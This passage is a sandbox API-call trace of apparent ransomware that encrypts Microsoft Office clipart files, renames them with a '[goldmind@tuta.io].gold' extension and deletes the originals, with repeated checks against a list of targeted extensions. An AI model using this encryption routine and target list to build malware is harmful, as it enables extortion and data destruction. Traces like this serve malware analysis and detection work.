[0105.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0105.784] GetLastError () returned 0x0 [0105.785] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0105.804] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0105.805] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.805] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.805] SetEndOfFile (hFile=0x180) returned 1 [0105.805] CloseHandle (hObject=0x180) returned 1 [0105.805] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.805] SetEndOfFile (hFile=0x394) returned 1 [0105.807] CloseHandle (hObject=0x394) returned 1 [0105.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0105.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.809] lstrlenW (lpString=".doc") returned 4 [0105.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.809] lstrlenW (lpString=".docx") returned 5 [0105.809] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.809] lstrlenW (lpString=".pdf") returned 4 [0105.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.809] lstrlenW (lpString=".xls") returned 4 [0105.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.809] lstrlenW (lpString=".xlsx") returned 5 [0105.809] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.809] lstrlenW (lpString=".ppt") returned 4 [0105.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.809] lstrlenW (lpString=".zip") returned 4 [0105.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.809] lstrlenW (lpString=".rar") returned 4 [0105.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.809] lstrlenW (lpString=".bz2") returned 4 [0105.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.809] lstrlenW (lpString=".7z") returned 3 [0105.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.809] lstrlenW (lpString=".dbf") returned 4 [0105.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.810] lstrlenW (lpString=".1cd") returned 4 [0105.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.810] lstrlenW (lpString=".jpg") returned 4 [0105.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.810] lstrlenW (lpString=".doc") returned 4 [0105.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.810] lstrlenW (lpString=".docx") returned 5 [0105.810] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.810] lstrlenW (lpString=".pdf") returned 4 [0105.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.810] lstrlenW (lpString=".xls") returned 4 [0105.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.810] lstrlenW (lpString=".xlsx") returned 5 [0105.810] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.810] lstrlenW (lpString=".ppt") returned 4 [0105.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.810] lstrlenW (lpString=".zip") returned 4 [0105.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.810] lstrlenW (lpString=".rar") returned 4 [0105.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.810] lstrlenW (lpString=".bz2") returned 4 [0105.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.810] lstrlenW (lpString=".7z") returned 3 [0105.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.810] lstrlenW (lpString=".dbf") returned 4 [0105.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.810] lstrlenW (lpString=".1cd") returned 4 [0105.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0105.810] lstrlenW (lpString=".jpg") returned 4 [0105.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.810] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.810] lstrlenW (lpString="J0105638.WMF") returned 12 [0105.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.817] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10364) returned 1 [0105.817] CloseHandle (hObject=0x3b0) returned 1 [0105.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 0x20 [0105.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.913] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.913] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.914] GetLastError () returned 0x0 [0105.914] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x287c, lpOverlapped=0x0) returned 1 [0105.915] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2880, lpOverlapped=0x0) returned 1 [0105.916] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.916] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.916] SetEndOfFile (hFile=0x3ac) returned 1 [0105.916] CloseHandle (hObject=0x3ac) returned 1 [0105.916] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.916] SetEndOfFile (hFile=0x39c) returned 1 [0105.918] CloseHandle (hObject=0x39c) returned 1 [0105.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0105.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.919] lstrlenW (lpString=".doc") returned 4 [0105.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.919] lstrlenW (lpString=".docx") returned 5 [0105.919] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.919] lstrlenW (lpString=".pdf") returned 4 [0105.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.919] lstrlenW (lpString=".xls") returned 4 [0105.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.919] lstrlenW (lpString=".xlsx") returned 5 [0105.919] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.919] lstrlenW (lpString=".ppt") returned 4 [0105.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.919] lstrlenW (lpString=".zip") returned 4 [0105.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.919] lstrlenW (lpString=".rar") returned 4 [0105.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString=".bz2") returned 4 [0105.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString=".7z") returned 3 [0105.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.920] lstrlenW (lpString=".dbf") returned 4 [0105.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.920] lstrlenW (lpString=".1cd") returned 4 [0105.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.920] lstrlenW (lpString=".jpg") returned 4 [0105.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.920] lstrlenW (lpString=".doc") returned 4 [0105.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString=".docx") returned 5 [0105.920] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.920] lstrlenW (lpString=".pdf") returned 4 [0105.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString=".xls") returned 4 [0105.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.920] lstrlenW (lpString=".xlsx") returned 5 [0105.920] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.920] lstrlenW (lpString=".ppt") returned 4 [0105.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.920] lstrlenW (lpString=".zip") returned 4 [0105.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.920] lstrlenW (lpString=".rar") returned 4 [0105.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString=".bz2") returned 4 [0105.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString=".7z") returned 3 [0105.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.920] lstrlenW (lpString=".dbf") returned 4 [0105.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.920] lstrlenW (lpString=".1cd") returned 4 [0105.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0105.920] lstrlenW (lpString=".jpg") returned 4 [0105.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.920] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.920] lstrlenW (lpString="J0105710.WMF") returned 12 [0105.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.921] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=13808) returned 1 [0105.921] CloseHandle (hObject=0x39c) returned 1 [0105.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 0x20 [0105.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.921] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.921] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.922] GetLastError () returned 0x0 [0105.922] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x35f0, lpOverlapped=0x0) returned 1 [0105.923] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3600, lpOverlapped=0x0) returned 1 [0105.924] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.924] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.924] SetEndOfFile (hFile=0x3ac) returned 1 [0105.925] CloseHandle (hObject=0x3ac) returned 1 [0105.925] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.925] SetEndOfFile (hFile=0x39c) returned 1 [0105.926] CloseHandle (hObject=0x39c) returned 1 [0105.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0105.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.927] lstrlenW (lpString=".doc") returned 4 [0105.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.927] lstrlenW (lpString=".docx") returned 5 [0105.927] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.927] lstrlenW (lpString=".pdf") returned 4 [0105.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.927] lstrlenW (lpString=".xls") returned 4 [0105.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.927] lstrlenW (lpString=".xlsx") returned 5 [0105.927] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.927] lstrlenW (lpString=".ppt") returned 4 [0105.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.927] lstrlenW (lpString=".zip") returned 4 [0105.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.928] lstrlenW (lpString=".rar") returned 4 [0105.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString=".bz2") returned 4 [0105.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString=".7z") returned 3 [0105.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.928] lstrlenW (lpString=".dbf") returned 4 [0105.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.928] lstrlenW (lpString=".1cd") returned 4 [0105.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.928] lstrlenW (lpString=".jpg") returned 4 [0105.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.928] lstrlenW (lpString=".doc") returned 4 [0105.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString=".docx") returned 5 [0105.928] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.928] lstrlenW (lpString=".pdf") returned 4 [0105.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString=".xls") returned 4 [0105.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.928] lstrlenW (lpString=".xlsx") returned 5 [0105.928] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.928] lstrlenW (lpString=".ppt") returned 4 [0105.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.928] lstrlenW (lpString=".zip") returned 4 [0105.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.928] lstrlenW (lpString=".rar") returned 4 [0105.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString=".bz2") returned 4 [0105.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString=".7z") returned 3 [0105.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.928] lstrlenW (lpString=".dbf") returned 4 [0105.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.928] lstrlenW (lpString=".1cd") returned 4 [0105.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0105.928] lstrlenW (lpString=".jpg") returned 4 [0105.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.928] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.928] lstrlenW (lpString="J0105846.WMF") returned 12 [0105.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0106.183] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8240) returned 1 [0106.183] CloseHandle (hObject=0x19c) returned 1 [0106.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 0x20 [0106.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0106.184] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.184] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0106.185] GetLastError () returned 0x0 [0106.185] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2030, lpOverlapped=0x0) returned 1 [0106.187] WriteFile (in: hFile=0x3a8, 